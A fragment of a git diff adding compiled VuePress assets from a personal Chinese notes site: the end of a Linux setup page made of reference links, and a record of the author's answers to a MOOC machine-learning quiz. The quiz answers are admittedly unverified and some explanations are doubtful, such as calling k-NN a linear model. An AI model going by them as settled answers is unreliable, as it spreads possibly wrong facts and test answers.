Ubuntu 20.04 启用 SSH-阿里云开发者社区 (aliyun.com)"),s(a)])]),N]),F,e("blockquote",null,[e("p",null,[e("a",z,[n("【MobaXterm】设置保持 SSH 连接_hitrjj 的博客-CSDN 博客_mobaeterm keepalive"),s(a)])])]),W,e("blockquote",null,[e("p",null,[e("a",P,[n("ssh 链接远程服务器 及 远程图形化界面的本地显示 - 掘金 (juejin.cn)"),s(a)])]),e("p",null,[e("a",U,[n("本地显示远程图形化界面、服务器配置图形化界面 - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",H,[n("Installing and running an X Server on Windows — Aalto scientific computing"),s(a)])]),j]),I,e("blockquote",null,[M,T,e("blockquote",null,[e("p",null,[e("a",R,[n("xorg - What is the $DISPLAY environment variable? - Ask Ubuntu"),s(a)])]),e("p",null,[e("a",V,[n("使用 WSL2 + X11 转发 - 在 Windows10 中打造 GNU/Linux 学习生产环境 - Steins;Lab (steinslab.io)"),s(a)])])]),G]),O,e("blockquote",null,[X,e("p",null,[e("a",$,[n("为什么 Firefox 在 SSH 上这么慢? - rebeca8 - 博客园 (cnblogs.com)"),s(a)])]),Y]),K,e("blockquote",null,[e("p",null,[e("a",Z,[n("ubuntu20.04 使用 root 用户登录系统_COCO56(徐可可)的博客-CSDN 博客_ubuntu 使用 root 登录"),s(a)])]),J]),e("blockquote",null,[Q,e("blockquote",null,[e("p",null,[e("a",ee,[n("为什么 sudo 存在?为什么不将特权系统访问作为用户权限处理? | 码农俱乐部 - Golang 中国 - Go 语言中文社区 (mlog.club)"),s(a)])])]),ne]),se,e("blockquote",null,[e("p",null,[e("a",ae,[n("软连接和硬链接区别 - matengfei - 博客园 (cnblogs.com)"),s(a)])])]),te,le,ie,e("blockquote",null,[e("p",null,[e("a",oe,[n("How to use Echo Command in Linux (With Examples) (phoenixnap.com)"),s(a)])])]),re,e("blockquote",null,[e("p",null,[e("a",ce,[n("Ubuntu 中查看软件的安装位置及安装文件 - Macrored - 博客园 (cnblogs.com)"),s(a)])])]),de,e("blockquote",null,[e("p",null,[e("a",pe,[n("Debian/Ubuntu/Centos 防火墙放行指定端口 - SunPma'Blog"),s(a)])]),e("p",null,[e("a",ue,[n("ubuntu 的 ufw 如何开放特定端口?_justheretobe 的博客-CSDN 博客_ufw 开放端口"),s(a)])])]),he,e("blockquote",null,[e("p",null,[e("a",me,[n("cron 表达式详解 - 腾讯云开发者社区-腾讯云 (tencent.com)"),s(a)])])]),be,e("blockquote",null,[e("p",null,[e("a",ge,[n("NetworkManager - 维基百科,自由的百科全书 (wikipedia.org)"),s(a)])]),e("p",null,[e("a",ve,[n("NetworkManager - Arch Linux 中文维基 (archlinuxcn.org)"),s(a)])])]),ke,e("blockquote",null,[e("p",null,[e("a",fe,[n("/proc/sys/net/ipv4/ip_forward - ailx10 - 博客园 (cnblogs.com)"),s(a)])])]),_e,e("blockquote",null,[e("p",null,[e("a",xe,[n("Linux less 命令 | 菜鸟教程 (runoob.com)"),s(a)])]),Ee]),ye,e("blockquote",null,[e("p",null,[e("a",we,[n("Linux iptables 命令 - sparkdev - 博客园 (cnblogs.com)"),s(a)])])]),Be,s(c,{id:"1664",data:[{id:"shell"},{id:"proxychains"}],active:0},{title0:l(({value:i,isActive:o})=>[n("shell")]),title1:l(({value:i,isActive:o})=>[n("proxychains")]),tab0:l(({value:i,isActive:o})=>[Ae,Se,qe,De]),tab1:l(({value:i,isActive:o})=>[Ce,Le,Ne,Fe,ze,We,Pe,Ue]),_:1}),He,je,Ie,Me,e("blockquote",null,[e("p",null,[e("a",Te,[n("安装 WSL | Microsoft Learn"),s(a)])]),e("p",null,[e("a",Re,[n("旧版 WSL 的手动安装步骤 | Microsoft Learn"),s(a)])]),e("p",null,[e("a",Ve,[n("win10 WSL2 问题解决 WslRegisterDistribution failed with error: 0x800701bc_first_Dance 的博客-CSDN 博客"),s(a)])]),Ge]),e("p",null,[n("安装 WSL 2 之前,必须启用“虚拟机平台”可选功能。 计算机需要"),e("a",Oe,[n("虚拟化功能"),s(a)]),n("才能使用此功能。")]),Xe,e("ul",null,[e("li",null,[e("p",null,[e("a",$e,[n("适用于 x64 计算机的 WSL2 Linux 内核更新包"),s(a)])]),e("blockquote",null,[e("p",null,[n("如果使用的是 ARM64 计算机,请下载 "),e("a",Ye,[n("ARM64 包"),s(a)]),n("。 如果不确定自己计算机的类型,请打开命令提示符或 PowerShell,并输入:"),Ke,n("。 "),Ze,n(" 在非英文版 Windows 上,你可能必须修改搜索文本,对“System Type”字符串进行翻译。 你可能还需要对引号进行转义来用于 find 命令。 例如,在德语版中使用 "),Je,n("。")])])])]),Qe,e("blockquote",null,[e("p",null,[e("a",en,[n("WSL 发行版卸载 - 知乎 (zhihu.com)"),s(a)])]),nn]),sn,e("blockquote",null,[e("p",null,[e("a",an,[n("Change vscode user in remote-WSL · Issue #3631 · microsoft/vscode-remote-release (github.com)"),s(a)])]),e("p",null,[e("a",tn,[n("Manage Linux Distributions - Change the default user for a distribution | Microsoft Docs"),s(a)])]),e("p",null,[e("a",ln,[n("Ubuntu : 无法将“Ubuntu”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径 正确,然后再试一次。 - z_zhiro - 博客园 (cnblogs.com)"),s(a)])])]),on,e("blockquote",null,[e("p",null,[e("a",rn,[n("wsl2 设置端口映射_压码路的博客-CSDN 博客_wsl 端口映射"),s(a)])])]),cn,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",dn,[n("WSL 2 自定义安装目录和网络配置_daihaoxin 的专栏-CSDN 博客_wsl2 目录"),s(a)])])]),pn,e("blockquote",null,[e("p",null,[e("a",un,[n("WSL2 踩坑分享 – xiabee"),s(a)])]),e("p",null,[n("[WSL2 网络异常排查 "),e("a",hn,[n("ping 不通、网络地址异常、缺少默认路由、被宿主机防火墙拦截] - 简书 (jianshu.com)"),s(a)])])]),mn,bn,gn,e("blockquote",null,[e("p",null,[e("a",vn,[n("wsl 的 ssh server 无法启动 (ssh localhost 时报错 ssh: connect to host localhost port 22: Connection refused)_hxc2101 的博客-CSDN 博客"),s(a)])])]),kn,e("blockquote",null,[e("p",null,[e("a",fn,[n("轻量应用服务器 重置密码 - 操作指南 - 文档中心 - 腾讯云 (tencent.com)"),s(a)])])]),_n,e("ul",null,[e("li",null,[n("腾讯云轻量的 ubuntu 默认禁用 root 用户名通过密码方式登录实例, 如需开启请参考 "),e("a",xn,[n("Ubuntu 系统如何使用 root 用户登录实例?"),s(a)]),e("ul",null,[En,e("li",null,[n("由于"),yn,n("绑定密钥默认绑定在 "),wn,n(" 用户下, 因此腾讯云使用 "),Bn,n(" 的形式登录 "),An,n(" 账户需要将密钥拷贝到 "),Sn,n(" 账户配置下即可:"),qn,e("blockquote",null,[e("p",null,[e("a",Dn,[n("腾讯云 密钥直接登录 root_Xav Pun 的博客-CSDN 博客"),s(a)])])])])])]),Cn]),e("blockquote",null,[e("p",null,[e("a",Ln,[n("每天一个 linux 命令(10):cat 命令 - peida - 博客园 (cnblogs.com)"),s(a)])]),Nn]),Fn,e("blockquote",null,[e("p",null,[e("a",zn,[n("一说 git bash 可以"),s(a)]),n(", 不过我拿 "),Wn,n(" 用 "),Pn,n(" 连接服务器总是被拒绝连接")])]),Un,Hn,jn,e("p",null,[e("a",In,[n("云产品首单秒杀"),Mn,n("云数据库秒杀 - 腾讯云 (tencent.com)"),s(a)]),n("[PS: 2C4G 轻量首年 74]")]),Tn,Rn,e("ul",null,[e("li",null,[Vn,e("p",null,[e("a",Gn,[n("Could not resolve host: mirrors.tencentyun.com_user2025 的博客-CSDN 博客"),s(a)])]),On,e("p",null,[e("a",Xn,[n("云服务器 内网服务 - 产品简介 - 文档中心 - 腾讯云 (tencent.com)"),s(a)])]),$n])]),Yn,Kn,e("blockquote",null,[e("p",null,[e("a",Zn,[n("腾讯云 密钥直接登录 root_Xav Pun 的博客-CSDN 博客"),s(a)])])]),Jn,e("blockquote",null,[e("p",null,[e("a",Qn,[n("cokemine/ServerStatus-Hotaru: 云探针、多服务器探针、云监控、多服务器云监控 (github.com)"),s(a)])])]),es,e("blockquote",null,[e("p",null,[e("a",ns,[n("Zellij"),s(a)])])]),ss,e("blockquote",null,[e("p",null,[e("a",as,[n("Linux Ubuntu 添加环境变量_FarryNiu 的博客-CSDN 博客_ubuntu 添加环境变量"),s(a)])]),e("p",null,[e("a",ts,[n("Installation - Zellij User Guide"),s(a)])])]),e("p",null,[n("先在 "),e("a",ls,[n("Zellij"),s(a)]),n(" 下载好压缩包, 然后传到 Linux 文件系统中")]),is,e("blockquote",null,[e("p",null,[e("a",os,[n("在 Linux 中安装 Firefox | Firefox 帮助 (mozilla.org)"),s(a)])]),rs]),e("ol",null,[e("li",null,[e("p",null,[n("从 "),e("a",cs,[n("Firefox 下载页面"),s(a)]),n(" 并点击 {button 立即下载} 按钮。")])]),ds]),ps,e("p",null,[n("你可以打开 "),e("a",us,[n("排障信息"),s(a)]),n(" 页面来验证安装是否成功。在 "),hs,n(" 部分,Application Binary 应该是 "),ms,n("。")]),bs,gs,e("blockquote",null,[e("p",null,[e("a",vs,[n("Ubuntu 下如何使用微信 - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",ks,[n("Ubuntu 安装微信,三步到位_辞与不羡的博客-CSDN 博客_ubuntu 安装微信"),s(a)])]),fs]),_s,e("blockquote",null,[e("p",null,[e("a",xs,[n("boot - Root file system requires manual fsck - Ask Ubuntu"),s(a)])])]),Es,e("blockquote",null,[e("p",null,[e("a",ys,[n("Linux fsck 命令 command not found fsck 未找到命令 fsck 命令详解 fsck 命令未找到 fsck 命令安装 - CommandNotFound ⚡️ 坑否"),s(a)])]),ws]),Bs,e("blockquote",null,[e("p",null,[e("a",As,[n("E: Sub-process /usr/bin/dpkg returned an error code (1)解决办法_Mr.Stick 的博客-CSDN 博客"),s(a)])])]),Ss,qs,Ds,e("blockquote",null,[e("p",null,[e("a",Cs,[n("搭建 Reroid"),s(a)]),Ls,e("a",Ns,[n("remote-android/redroid-doc"),s(a)])])]),Fs,zs,e("blockquote",null,[e("p",null,[e("a",Ws,[n("Ubuntu 安装邮件服务器 - 简书 (jianshu.com)"),s(a)])]),e("p",null,[e("a",Ps,[n("The Postfix Home Page"),s(a)])]),e("p",null,[e("a",Us,[n("在 Ubuntu 20.04 上配置 Postfix 以使用 Gmail SMTP-番茄网 (tomato.cm)"),s(a)])]),Hs]),js])}const Gs=d(h,[["render",Is],["__file","Linux.html.vue"]]);export{Gs as default};
diff --git "a/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-21f309cd.js" "b/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-21f309cd.js"
new file mode 100644
index 0000000000..3e7fd1fb00
--- /dev/null
+++ "b/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-21f309cd.js"
@@ -0,0 +1 @@
+const e=JSON.parse(`{"key":"v-0dfc8b7a","path":"/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/MOOC_%E6%B5%8B%E8%AF%95%E4%B8%8E%E4%BD%9C%E4%B8%9A.html","title":"引言课后测试(个人做题记录)[87.5' 暂未知正确答案]","lang":"zh-CN","frontmatter":{},"headers":[],"git":{"createdTime":1667841430000,"updatedTime":1668240869000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":10.11,"words":3032},"filePathRelative":"学习路线/机器学习/MOOC_测试与作业.md","localizedDate":"2022年11月7日","excerpt":""}`);export{e as data};
diff --git "a/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-53792643.js" "b/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-53792643.js"
new file mode 100644
index 0000000000..34379205d8
--- /dev/null
+++ "b/assets/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html-53792643.js"
@@ -0,0 +1 @@
+import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as u,c as r,b as l,e as n,d as t,f as e}from"./app-880c6425.js";const i={},_=e(' 引言课后测试(个人做题记录)[87.5' 暂未知正确答案] 单选(5分) 哪一个是机器学习的合理定义?
A.机器学习从标记的数据中学习
B.机器学习是计算机编程的科学
C.机器学习是允许机器人智能行动的领域
D.机器学习能使计算机能够在没有明确编程的情况下学习
机器学习能使计算机能够在没有明确编程的情况下学习, 如果编程很明确的话那就不能说是"学习"了
A 项错在标记的数据, 比如回归问题中的输入数据就是未标记的数据,
B 项太笼统了
C 项字面意义猜测了属于是
单选(5分) 一个计算机程序从经验E中学习任务T,并用P来衡量表现。并且,T的表现P随着经验E的增加而提高。 假设我们给一个学习算法输入了很多历史天气的数据,让它学会预测天气。什么是P的合理选择?
A.计算大量历史气象数据的过程
B.以上都不
C.天气预报任务
D.正确预测未来日期天气的概率
正确预测未来日期天气的概率是合理的选择, P 用来衡量表现, 应当是可以量化的数值, A 与 C 是 "过程" 与 "任务" , 量化指标不明确; 而训练此模型的目的是预测天气, 那么正确预测天气的概率可以是衡量表现的指标
单选(5分) 回归问题和分类问题的区别是什么?
A.回归问题与分类问题在输入属性值上要求不同
B.回归问题输出值是离散的,分类问题输出值是连续的
C.回归问题有标签,分类问题没有
D.回归问题输出值是连续的,分类问题输出值是离散的
',6),h={href:"https://blog.csdn.net/fisherming/article/details/79646134",target:"_blank",rel:"noopener noreferrer"},c=l("p",null,[n("回归问题与分类问题都属于监督学习, 都是"),l("strong",null,"对输入进行预测"),n(",")],-1),a=l("p",null,[n("分类问题:分类问题的输出是"),l("strong",null,"离散型变量"),n("(如: +1、-1),是一种"),l("strong",null,"定性输出"),n("。(预测明天天气是阴、晴还是雨) 回归问题:回归问题的输出是"),l("strong",null,"连续型变量"),n(",是一种"),l("strong",null,"定量输出"),n("。(预测明天的温度是多少度)。")],-1),d=l("ol",{start:"4"},[l("li",null,[l("p",null,"单选(5分) 以下关于特征选择的说法正确的是?"),l("p",null,"A.选择的特征越多越好"),l("p",null,"B.选择的特征越少越好"),l("p",null,"C.选择的特征需尽可能反映不同事物之间的差异"),l("p",null,"D.以上说法均不对")])],-1),m={href:"https://zhuanlan.zhihu.com/p/74198735",target:"_blank",rel:"noopener noreferrer"},g=l("p",null,[l("code",null,"特征选择"),n("是"),l("code",null,"特征工程"),n("里的一个重要问题,其目标是"),l("strong",null,"寻找最优特征子集"),n("。特征选择能剔除不相关(irrelevant)或冗余(redundant )的特征,从而达到减少特征个数,"),l("strong",null,"提高模型精确度,减少运行时间的目的"),n("。")],-1),b={start:"5"},k=l("p",null,"单选(5分) 一个包含n类的多分类问题,若采用一对剩余的方法,需要拆分成多少次?",-1),f=l("p",null,"A. n",-1),z=l("p",null,"B. n-1",-1),A=l("p",null,"C. n+1",-1),q=l("p",null,"D. 1",-1),B={href:"https://www.omegaxyz.com/2018/05/20/multi2bi_ml/",target:"_blank",rel:"noopener noreferrer"},C=l("p",null,"假设这是一个 k 分类问题,:",-1),D=l("p",null,"挑出一类, 剩余的类别归位一类, 得到 一个模型",-1),w=l("p",null,"相同的, 再挑一类, 其他归位一类, 得到一个模型",-1),y=l("p",null,"如此往复, 最后一次挑出一类, 其他自成一类, 这样下来总共就得到了 k 个二分类模型",-1),E=l("p",null,'测试样本属于哪个类时, 将该样本依次走遍这 k 个分类器, 最终哪个分类得分最多该样本就属于哪个分类(属于"一类"则"一类"分数+1, 属于"剩余类"则其他类的分数分别+1)',-1),K=l("li",null,[l("p",null,"单选(5分) 机器学习方法传统上可以分为( C )类。"),l("p",null,"A. 7"),l("p",null,"B. 2"),l("p",null,"C. 3"),l("p",null,"D. 4"),l("blockquote",null,[l("p",null,"监督学习, 无监督学习, 强化学习")])],-1),v=l("p",null,"单选(5分) 哪些机器学习模型经过训练,能够根据其行为获得的奖励和反馈做出一系列决策?",-1),x=l("p",null,"A.监督学习",-1),M=l("p",null,"B.以上全部",-1),N=l("p",null,"C.无监督学习",-1),S=l("p",null,"D.强化学习",-1),P=l("p",null,"监督学习: 对于输入数据 X 能预测 Y",-1),V=l("p",null,"无监督学习: 对于输入数据 X 能发现什么",-1),O=l("p",null,"强化学习: 序列决策问题",-1),T=l("hr",null,null,-1),I={href:"https://zhuanlan.zhihu.com/p/150451604",target:"_blank",rel:"noopener noreferrer"},L=l("p",null,"单选(5分) 机器学习这个术语是由( )定义的?",-1),X=l("p",null,"A. 以上都不是",-1),G=l("p",null,"B. Arthur Samuel",-1),J=l("p",null,"C. James Gosling",-1),W=l("p",null,"D. Guido van Rossum",-1),Y=l("p",null,"The term machine learning was coined in 1959 by Arthur Samuel, an American IBMer and pioneer in the field of computer gaming and artificial intelligence.",-1),F=l("hr",null,null,-1),H={href:"https://en.wikipedia.org/wiki/Machine_learning",target:"_blank",rel:"noopener noreferrer"},R=l("p",null,"单选(5分) 哪种开发语言最适合机器学习?( )",-1),Z=l("p",null,"A. Java",-1),j=l("p",null,"B. HTML",-1),Q=l("p",null,"C. Python",-1),U=l("p",null,"D. C",-1),$={href:"https://zhuanlan.zhihu.com/p/355663227",target:"_blank",rel:"noopener noreferrer"},ll=l("li",null,[l("p",null,"单选(5分) ( )是机器学习的一部分,与神经网络一起工作。"),l("p",null,"A. A和B"),l("p",null,"B. 人工智能"),l("p",null,"C. 深度学习"),l("p",null,"D. 以上都不是"),l("blockquote",null,[l("p",null,"深度学习")])],-1),nl=l("p",null,"单选(5分) ( C )是可用于标记数据的机器学习算法。",-1),ol=l("p",null,"A.聚类算法",-1),tl=l("p",null,"B.以上都不是",-1),el=l("p",null,"C.回归算法",-1),sl=l("p",null,"D.关联规则算法",-1),pl=l("ul",null,[l("li",null,[l("p",null,"聚类是无监督学习的典型算法,不需要标记结果。 试图探索和发现一定的模式,用于发现共同的群体,按照内在相似性将数据划分为多个类别使得内内相似性大,内间相似性小。 有时候作为监督学习中稀疏特征的预处理(类似于降维,变成K类后,假设有6类,则每一行都可以表示为类似于000100、010000)。")]),l("li",null,[l("p",null,[n("回归算法用于"),l("strong",null,"连续型分布预测"),n(",针对的是数值型的样本,使用回归,可以在给定输入的时候预测出一个数值,这是对分类方法的提升,因为这样可以预测连续型数据而不仅仅是离散的类别标签。")]),l("blockquote",null,[l("p",null,"逻辑回归是在**线性回归的基础上加了一个 Sigmoid 函数(非线形)映射,**使得逻辑回归称为了一个优秀的分类算法。 本质上来说,两者都属于广义线性模型,但他们两个要解决的问题不一样,逻辑回归解决的是分类问题,输出的是离散值,线性回归解决的是回归问题,输出的连续值。"),l("p",null,"题意可能是指已经有了一些标记, 面对新数据需要打标记, 那么这就是一个分类问题, 可以用逻辑回归来解决")])]),l("li",null,[l("p",null,"关联规则就是支持度和信任度分别满足用户给定阈值的规则。")])],-1),ul=l("hr",null,null,-1),rl={href:"https://aws.amazon.com/cn/sagemaker/groundtruth/what-is-data-labeling/",target:"_blank",rel:"noopener noreferrer"},il={href:"https://www.cnblogs.com/fionacai/p/5873975.html",target:"_blank",rel:"noopener noreferrer"},_l={href:"https://www.cnblogs.com/crazymagic/articles/12159242.html",target:"_blank",rel:"noopener noreferrer"},hl={href:"https://baike.baidu.com/item/%E5%85%B3%E8%81%94%E8%A7%84%E5%88%99%E7%AE%97%E6%B3%95/1252179",target:"_blank",rel:"noopener noreferrer"},cl=e("单选(5分) 谷歌新闻每天收集非常多的新闻,并运用( )方法再将这些新闻分组,组成若干类有关联的新闻。于是,搜索时同一组新闻事件往往隶属同一主题的,所以显示到一起。
A.聚类
B.分类
C.回归
D.关联规则
聚类是无监督学习的典型算法,不需要标记结果。 试图探索和发现一定的模式,用于发现共同的群体,按照内在相似性将数据划分为多个类别使得内内相似性大,内间相似性小。 有时候作为监督学习中稀疏特征的预处理(类似于降维,变成K类后,假设有6类,则每一行都可以表示为类似于000100、010000)。
多选(5分) 下列哪些学习问题不属于 监督学习?( AD )
A.降维
B.分类
C.回归
D.聚类
",2),al=l("blockquote",null,[l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202109301644847.png",alt:"image-20210930164426724"})])],-1),dl={start:"14"},ml=l("p",null,[n("多选(5分) 下列哪些学习问题"),l("strong",null,"不属于"),n("监督学习?( AD )")],-1),gl=l("p",null,"A.聚类",-1),bl=l("p",null,"B.分类",-1),kl=l("p",null,"C.回归",-1),fl=l("p",null,"D.关联规则",-1),zl=l("p",null,[l("img",{src:"http://cdn.ayusummer233.top/img/202109301646686.png",alt:"image-20210930164615619"})],-1),Al={href:"https://zhuanlan.zhihu.com/p/82592038",target:"_blank",rel:"noopener noreferrer"},ql=l("p",null,"多选(5分) 机器学习的方法由( ACD )等几个要素构成。",-1),Bl=l("p",null,"A.损失函数",-1),Cl=l("p",null,"B.优化算法",-1),Dl=l("p",null,"C.模型",-1),wl=l("p",null,"D.模型评估指标",-1),yl=l("p",null,[n("机器学习(统计学习方法)的组成有三个要素:模"),l("strong",null,"型、策略和"),n("算法。")],-1),El={href:"https://zhuanlan.zhihu.com/p/48914251",target:"_blank",rel:"noopener noreferrer"},Kl=l("p",null,"多选(5分) 对于非概率模型而言,可按照判别函数线性与否分成线性模型与非线性模型。下面哪些模型属于线性模型?( AD )",-1),vl=l("p",null,"A. k近邻",-1),xl=l("p",null,"B. K-means",-1),Ml=l("p",null,"C. AdaBoost",-1),Nl=l("p",null,"D. 感知机",-1),Sl=e('从假设空间中的函数类型上看,如果函数为线性,则称为 线性模型 ,比如感知机、k近邻、SVM;否则称为 非线性模型 ,比如应用核技巧的方法、决策树、集成方法与神经网络;
K近邻算法 ,即是给定一个训练数据集,对新的输入实例,在训练数据集中找到与该实例 最邻近 的K个实例, 这K个实例的多数属于某个类 ,就把该输入实例分类到这个类中。
**感知机(perceptron)**是二类分类的线性分类模型,其输入为实例的特征向量,输出为实例的类别。
K-means 是我们最常用的基于欧式距离的聚类算法,其认为两个目标的距离越近,相似度越大。
高效可伸缩,计算复杂度 为 接近于线性(N是数据量,K是聚类总数,t是迭代轮数)。
AdaBoost 算法的全称是自适应Boosting(Adaptive Boosting),是一种二分类器,它用弱分类器的线性组合构造强分类器。
',3),Pl={href:"https://zhuanlan.zhihu.com/p/25994179",target:"_blank",rel:"noopener noreferrer"},Vl={href:"https://zhuanlan.zhihu.com/p/30155870",target:"_blank",rel:"noopener noreferrer"},Ol={href:"https://zhuanlan.zhihu.com/p/78798251",target:"_blank",rel:"noopener noreferrer"},Tl={href:"https://zhuanlan.zhihu.com/p/184686598",target:"_blank",rel:"noopener noreferrer"},Il={href:"https://easyai.tech/ai-definition/adaboost/#what",target:"_blank",rel:"noopener noreferrer"},Ll=l("p",null,"判断(5分) 朴素贝叶斯属于概率模型。",-1),Xl=l("p",null,[n("贝叶斯分类是一类分类算法的总称,这类算法均以贝叶斯定理为基础,故统称为贝叶斯分类。"),l("strong",null,"而朴素朴素贝叶斯分类是贝叶斯分类中最简单,也是常见的一种分类方法"),n("。")],-1),Gl=l("p",null,[n("朴素贝叶斯 (Naive Bayes) 法是是一种分类方式,属于"),l("strong",null,"生成模型,即由数据学习联合概率分布,然后求出条件概率分布作为预测模型"),n("。 最重要的两点内容是: 贝叶斯定理 和 特征条件独立假设。")],-1),Jl=l("hr",null,null,-1),Wl={href:"https://zhuanlan.zhihu.com/p/26262151",target:"_blank",rel:"noopener noreferrer"},Yl={href:"https://zhuanlan.zhihu.com/p/84492126",target:"_blank",rel:"noopener noreferrer"},Fl=l("li",null,[l("p",null,"判断(5分) 根据肿瘤的体积、患者的年龄来判断良性或恶性,这是一个回归问题。"),l("blockquote",null,[l("p",null,"判断类型应属于分类问题")])],-1),Hl=l("li",null,[l("p",null,"判断(5分) 大部分的机器学习工程中,数据搜集、数据清洗、特征工程这三个步骤绝大部分时间,而数据建模,占总时间比较少。"),l("blockquote",null,[l("p",null,"前三者工作量小, 数据建模需要太多知识, 工作量也比较大")])],-1),Rl=l("li",null,[l("p",null,"判断(5分) 已知你朋友的信息,比如经常发email的联系人,或是你微博的好友、微信的朋友圈,我们可运用聚类方法自动地给朋友进行分组,做到让每组里的人们彼此都熟识。")],-1);function Zl(jl,Ql){const o=p("ExternalLinkIcon");return u(),r("div",null,[_,l("blockquote",null,[l("p",null,[l("a",h,[n("“分类”和“回归”问题的区别_刘明的博客-CSDN博客_回归问题和分类问题区别"),t(o)])]),c,a]),d,l("blockquote",null,[l("p",null,[l("a",m,[n("【机器学习】特征选择(Feature Selection)方法汇总 - 知乎 (zhihu.com)"),t(o)])]),g]),l("ol",b,[l("li",null,[k,f,z,A,q,l("blockquote",null,[l("p",null,[l("a",B,[n("机器学习多分类问题转二分类问题 – OmegaXYZ"),t(o)])]),C,D,w,y,E])]),K,l("li",null,[v,x,M,N,S,l("blockquote",null,[P,V,O,T,l("p",null,[l("a",I,[n("通俗易懂谈强化学习 - 知乎 (zhihu.com)"),t(o)])])])]),l("li",null,[L,X,G,J,W,l("blockquote",null,[Y,F,l("p",null,[l("a",H,[n("Machine learning - Wikipedia"),t(o)])])])]),l("li",null,[R,Z,j,Q,U,l("blockquote",null,[l("p",null,[l("a",$,[n("为什么说Python是最适合机器学习项目的语言? - 知乎 (zhihu.com)"),t(o)])])])]),ll,l("li",null,[nl,ol,tl,el,sl,l("blockquote",null,[pl,ul,l("p",null,[l("a",rl,[n("数据标记是什么_机器学习模型训练-AWS云服务 (amazon.com)"),t(o)])]),l("p",null,[l("a",il,[n("聚类算法 - fionaplanet - 博客园 (cnblogs.com)"),t(o)])]),l("p",null,[l("a",_l,[n("机器学习回归算法 - Crazymagic - 博客园 (cnblogs.com)"),t(o)])]),l("p",null,[l("a",hl,[n("关联规则算法_百度百科 (baidu.com)"),t(o)])])])]),cl]),al,l("ol",dl,[l("li",null,[ml,gl,bl,kl,fl,l("blockquote",null,[zl,l("p",null,[l("a",Al,[n("数据发掘之关联规则学习(一) - 知乎 (zhihu.com)"),t(o)])])])]),l("li",null,[ql,Bl,Cl,Dl,wl,l("blockquote",null,[yl,l("p",null,[l("a",El,[n("机器学习·总览篇 IV 机器学习的三要素 - 知乎 (zhihu.com)"),t(o)])])])]),l("li",null,[Kl,vl,xl,Ml,Nl,l("blockquote",null,[Sl,l("p",null,[l("a",Pl,[n("一文搞懂k近邻(k-NN)算法(一) - 知乎 (zhihu.com)"),t(o)])]),l("p",null,[l("a",Vl,[n("什么是感知机? - 知乎 (zhihu.com)"),t(o)])]),l("p",null,[l("a",Ol,[n("【机器学习】K-means(非常详细) - 知乎 (zhihu.com)"),t(o)])]),l("p",null,[l("a",Tl,[n("KMeans聚类算法详解 - 知乎 (zhihu.com)"),t(o)])]),l("p",null,[l("a",Il,[n("一文看懂 Adaboost 算法 (与bagging算法对比 + 7 个优缺点) (easyai.tech)"),t(o)])])])]),l("li",null,[Ll,l("blockquote",null,[Xl,Gl,Jl,l("p",null,[l("a",Wl,[n("带你理解朴素贝叶斯分类算法 - 知乎 (zhihu.com)"),t(o)])]),l("p",null,[n("["),l("a",Yl,[n("ML] 朴素贝叶斯分类模型 - 知乎 (zhihu.com)"),t(o)])])])]),Fl,Hl,Rl])])}const ln=s(i,[["render",Zl],["__file","MOOC_测试与作业.html.vue"]]);export{ln as default};
diff --git a/assets/MachineLearning.html-b1c4aab0.js b/assets/MachineLearning.html-b1c4aab0.js
new file mode 100644
index 0000000000..edd773d869
--- /dev/null
+++ b/assets/MachineLearning.html-b1c4aab0.js
@@ -0,0 +1,8 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{o as a,c as e,a as l,f as n}from"./app-880c6425.js";const r={},t=n(' 2.3-特征工程 2.3.2-特征选择 特征选择的目的主要是降维,从特征集合中挑选一组最具统计意义的特征子集来代表整体样本的特点。特征选择的方法是用一些评价指标单独地计算出各个特征与目标变量之间的关系。常见的有Pearson相关系数、基尼指标(Gini index )、信息增益(Information Gain )等 ,下面以Pearson相 关系数为例,它的计算方式如下 2.3.3-特征提取 类别可分离性判据 衡量不同特征及其组合是否有效的的定量准则 应满足条件: 度量特性:不同类大于零 同类等于零 与错误率单调关系 特征独立时有可加性 单调性:特征越多,盘踞越大 分类: 分类特征要求 ',9);function h(s,o){return a(),e("div",null,[l(`
+ * @Author: your name
+ * @Date: 2021-05-09 16:49:38
+ * @LastEditTime: 2021-05-09 17:32:28
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \\DailyNotes\\BigDataMicroMajor\\MachineLearning\\MachineLearning.md
+`),t])}const u=i(r,[["render",h],["__file","MachineLearning.html.vue"]]);export{u as default};
diff --git a/assets/MachineLearning.html-f21b7f82.js b/assets/MachineLearning.html-f21b7f82.js
new file mode 100644
index 0000000000..b7818d66ac
--- /dev/null
+++ b/assets/MachineLearning.html-f21b7f82.js
@@ -0,0 +1 @@
+const 